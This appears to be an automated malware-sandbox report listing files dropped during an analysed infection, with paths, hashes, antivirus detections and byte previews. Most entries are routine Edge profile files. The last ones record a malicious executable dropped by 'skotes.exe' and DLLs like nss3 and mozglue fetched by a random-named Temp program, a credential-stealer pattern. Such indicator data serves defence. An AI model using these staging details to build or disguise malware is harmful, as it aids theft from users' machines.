SSDEEP:	192:Eatl0m5tmsnOAt6YEJgA8x5XSggykfhbNNETUI19ERQsge4Bjr+Nn8y08Tcm2RGY:/r0UtvOgk9hZAY/4xry08T2RGOD
MD5:	94C44B070C945A0A28CB32ACB9B14ECD
SHA1:	D52A32BE31713C3E08EB03B9232708B929DC31C4
SHA-256:	83D7A95B43FF1E343ED3D7ECA4EA5A248F749E611B13729A43264925FF9BCE4F
SHA-512:	BD29FC41B1ADED4094248FE5E17C49AABA1348FECF71CB16E24728B1AE97ED861970E2353B1E35E60C57573369B2E4398E6F50EEA5D7658A9FC3A3896336722C
Malicious:	false
Reputation:	unknown
Preview:	...@..@...@.....C.].....@................e...U..............`... ...i.y.........BrowserMetrics......i.y..Yd. .......A...................v.0.....UV&K.k<................UV&K.k<................UMA.PersistentHistograms.InitResult.....8...i.y.[".................................................i.y.Pq.30...............117.0.2045.55-64..".en-GB...Windows NT..10.0.190452l..x86_64..?........".qfwvvx20,1(.0..8..B.......2.:.M..BU..Be...?j...GenuineIntel... .. ..........x86_64...J....k..^o..J..l.zL.^o..J....\.^o..J.....f.^o..J....?.^o..P.Z...b.INBXj....... .8.@....................................w..U?:K...G...W6.>.........."....."...24.."."+jDg7C0j+BlQ1Nj+QPG7Safjq+2ZvoQsMhxZL1Gpc+U=".:............B)..1.3.177.11.. .*.RegKeyNotFound2.windowsR...Z...Nb.X9.I@..$...SF@.......Y@.......4@.......Y@........?........?.........................Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......4@.......Y@................Y@.......Y@.......Y@........?........?2................. .`2.....

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	280
Entropy (8bit):	4.0984945491284295
Encrypted:	false
SSDEEP:	3:FiWWltlcUpPmPIijS3XbnbO6YBVP/Sh/JzvbYuDRBOc7cEJHCll:o1cUh4Y3LbO/BVsJDbYuDRBOycd
MD5:	AFAC5E4CC1213807ACB7D1A0F61BCF99
SHA1:	FEDCA0A829A0DBCCD1E9D7048398372FF9604783
SHA-256:	FF48F538CBF3D665C9B115D6F3F6459E0CD7D9DF368E921E5A4BF2CA88E3C55F
SHA-512:	44F1A7E8C8DD1D5CE625AE26ED4074900A979ACD34BAFB3D3B354145690D37D34E07F2D0D9DEE81BE80EAFA9E3973AB11AD6E85EB23A804958584D8DB4902D66
Malicious:	false
Reputation:	unknown
Preview:	sdPC.....................cT..\.E.....P."+jDg7C0j+BlQ1Nj+QPG7Safjq+2ZvoQsMhxZL1Gpc+U="..................................................................................47DEQpj8HBSa+/TImW+5JCeuQeRkm5NMpJWZG3hSuFU=....................7aa5fc64-f4df-45d8-92ed-89470ca1c2d2............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Last Version

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	13
Entropy (8bit):	2.6612262562697895
Encrypted:	false
SSDEEP:	3:NYLFRQZ:ap2Z
MD5:	B64BD80D877645C2DD14265B1A856F8A
SHA1:	F7379E1A6F8CE062E891C56736C789C7EA77CD6A
SHA-256:	83476CEEEB7682F41030664B4E17305986878D14E82D0C277FB99EC546B44569
SHA-512:	734A7316A269C76DD052D980CC0D5209C0BFEDFFC55B11C58FA25C433CE8A42536827298C3E58CACD68CC01593C23D39350E956E8DE2268D8D29918E1F0667F2
Malicious:	false
Reputation:	unknown
Preview:	117.0.2045.55

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.08979752538941
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWYZdi1zNtPMKAkzZ7okEt9r1JDSgzMMd6qD47u3+CO:+/Ps+wsI7yn5kPAkzItSmd6qE7lFoC
MD5:	745545A0F602CA217E7487E7DC60AF50
SHA1:	B9A43B637F68E915935F99CC1606D0DB4AFCCBA3
SHA-256:	C79B650AD4F0834D2C312C82A5B8DD9AD11DAB20CEC6A288F533BC7055EEF0F7
SHA-512:	8773B29652B4A303B2ABE3F99EA2BD57A3CE33488AF1091BD303309CC77310007D55998A30A60252D19F6D7D6DD7EE6AE248ABBC9DB3D7A1BDC761CEF899AB1D
Malicious:	false
Reputation:	unknown
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF3f231.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.08979752538941
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWYZdi1zNtPMKAkzZ7okEt9r1JDSgzMMd6qD47u3+CO:+/Ps+wsI7yn5kPAkzItSmd6qE7lFoC
MD5:	745545A0F602CA217E7487E7DC60AF50
SHA1:	B9A43B637F68E915935F99CC1606D0DB4AFCCBA3
SHA-256:	C79B650AD4F0834D2C312C82A5B8DD9AD11DAB20CEC6A288F533BC7055EEF0F7
SHA-512:	8773B29652B4A303B2ABE3F99EA2BD57A3CE33488AF1091BD303309CC77310007D55998A30A60252D19F6D7D6DD7EE6AE248ABBC9DB3D7A1BDC761CEF899AB1D
Malicious:	false
Reputation:	unknown
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF3f241.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.08979752538941
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWYZdi1zNtPMKAkzZ7okEt9r1JDSgzMMd6qD47u3+CO:+/Ps+wsI7yn5kPAkzItSmd6qE7lFoC
MD5:	745545A0F602CA217E7487E7DC60AF50
SHA1:	B9A43B637F68E915935F99CC1606D0DB4AFCCBA3
SHA-256:	C79B650AD4F0834D2C312C82A5B8DD9AD11DAB20CEC6A288F533BC7055EEF0F7
SHA-512:	8773B29652B4A303B2ABE3F99EA2BD57A3CE33488AF1091BD303309CC77310007D55998A30A60252D19F6D7D6DD7EE6AE248ABBC9DB3D7A1BDC761CEF899AB1D
Malicious:	false
Reputation:	unknown
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF400e7.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.08979752538941
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWYZdi1zNtPMKAkzZ7okEt9r1JDSgzMMd6qD47u3+CO:+/Ps+wsI7yn5kPAkzItSmd6qE7lFoC
MD5:	745545A0F602CA217E7487E7DC60AF50
SHA1:	B9A43B637F68E915935F99CC1606D0DB4AFCCBA3
SHA-256:	C79B650AD4F0834D2C312C82A5B8DD9AD11DAB20CEC6A288F533BC7055EEF0F7
SHA-512:	8773B29652B4A303B2ABE3F99EA2BD57A3CE33488AF1091BD303309CC77310007D55998A30A60252D19F6D7D6DD7EE6AE248ABBC9DB3D7A1BDC761CEF899AB1D
Malicious:	false
Reputation:	unknown
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Variations

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	85
Entropy (8bit):	4.3488360343066725
Encrypted:	false
SSDEEP:	3:YQ3JYq9xSs0dMEJAELJ25AmIpozQp:YQ3Kq9X0dMgAEiLIj
MD5:	8549C255650427D618EF18B14DFD2B56
SHA1:	8272585186777B344DB3960DF62B00F570D247F6
SHA-256:	40395D9CA4B65D48DEAC792844A77D4F8051F1CEF30DF561DACFEEED3C3BAE13
SHA-512:	E5BB8A0AD338372635C3629E306604E3DC5A5C26FB5547A3DD7E404E5261630612C07326E7EBF5B47ABAFADE8E555965A1A59A1EECFC496DCDD5003048898A8C
Malicious:	false
Reputation:	unknown
Preview:	{"user_experience_metrics.stability.exited_cleanly":true,"variations_crash_streak":1}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\dfa41c97-8d93-41ff-8a64-608e37ef2f97.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44929
Entropy (8bit):	6.0952263707287635
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWYQZXmi1zNtsJ79K+QE3FO8KJDSgzMMd6qD47u3+CO:+/Ps+wsI7ynzQ9qJ7wMKtSmd6qE7lFoC
MD5:	4B818E712EA77C02BB5716A05B671A8F
SHA1:	864657D3A08021289CEF9D1F435C183AF3FB882A
SHA-256:	845E1B5075BA6B030C455E51A9076A68AC2C1EF04E572C4283E949EB68578059
SHA-512:	ABD5410FDB5A7ED669C9C016B1D331E53B26CB39E150EC5D2C3E81DB9D7BA76F0154B65C3A7951F40A3301BB737A63A92E71C21B1A5BAF77598BA9837FA202A7
Malicious:	false
Reputation:	unknown
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\ea821d45-598e-4804-b297-a1ccad4a957e.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	44929
Entropy (8bit):	6.0952263707287635
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWYQZXmi1zNtsJ79K+QE3FO8KJDSgzMMd6qD47u3+CO:+/Ps+wsI7ynzQ9qJ7wMKtSmd6qE7lFoC
MD5:	4B818E712EA77C02BB5716A05B671A8F
SHA1:	864657D3A08021289CEF9D1F435C183AF3FB882A
SHA-256:	845E1B5075BA6B030C455E51A9076A68AC2C1EF04E572C4283E949EB68578059
SHA-512:	ABD5410FDB5A7ED669C9C016B1D331E53B26CB39E150EC5D2C3E81DB9D7BA76F0154B65C3A7951F40A3301BB737A63A92E71C21B1A5BAF77598BA9837FA202A7
Malicious:	false
Reputation:	unknown
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\fcc14fef-1bf6-40f4-8835-f8103eee4775.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44906
Entropy (8bit):	6.0951849659823765
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWYSZXmi1zNtsJ7NKSqYnlfKJDSgzMMd6qD47u3+CiB:+/Ps+wsI7ynzS9qJ7A4KtSmd6qE7lFoC
MD5:	AD743343D8A38AF609AE18510B17FC07
SHA1:	86744D5A51E7B5992006BD366F3547305DAD93B6
SHA-256:	A1FABEC36BD41941C4ED3CE2145339E0F41329921B27FFA2E4B9700DAEAE5CF4
SHA-512:	BB324ED41F26FB020F1B0592BAC9750195A585E4649E963B484AB3C76FD67338691C833E48214F200C06062F3DBD9426346FB83539E48682A869A02B41A0FE5D
Malicious:	false
Reputation:	unknown
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\abu7zly[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1853952
Entropy (8bit):	7.875957517021206
Encrypted:	false
SSDEEP:	49152:KaAIT9opySvIl96VuxKFwUe3sAGlQnHlaOn:V198+guQbe3sbqL
MD5:	BAF4393084DDFBC8BE33B518EE788F19
SHA1:	4A3CA6AC7AAFD7ABB5853215E417413DD8E16319
SHA-256:	2A27F6E06DDC004238D5DA1570C29BA22EFA80BD93577B3D7AB990FFFDFAACE1
SHA-512:	AD643B52D263D10E3CD2EE816714749EC0558E746F0993CAF777D83F7373FF7646C11FAAB6198E84B1036E55B2604F1ABE25E4AD33CA4BE7E14FFEB4E8FAED4C
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 83%
Reputation:	unknown
Preview:	MZ......................@...........z...................................!..L.!This program cannot be run in DOS mode....$.......PE..L...>.og............................. G.. ........@.. .......................`G......;....@.................................U`..i....... ....................a...................................................................................... . ..... ...N... ..............@....rsrc... ............n..............@....idata . ...`......................@... .@*.........................@...emcbjfeu.@....,..$..................@...jhqzuixt. ....G......"..............@....taggant.@... G.."...(..............@...........................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\freebl3[1].dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\mozglue[1].dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\msvcp140[1].dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\nss3[1].dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
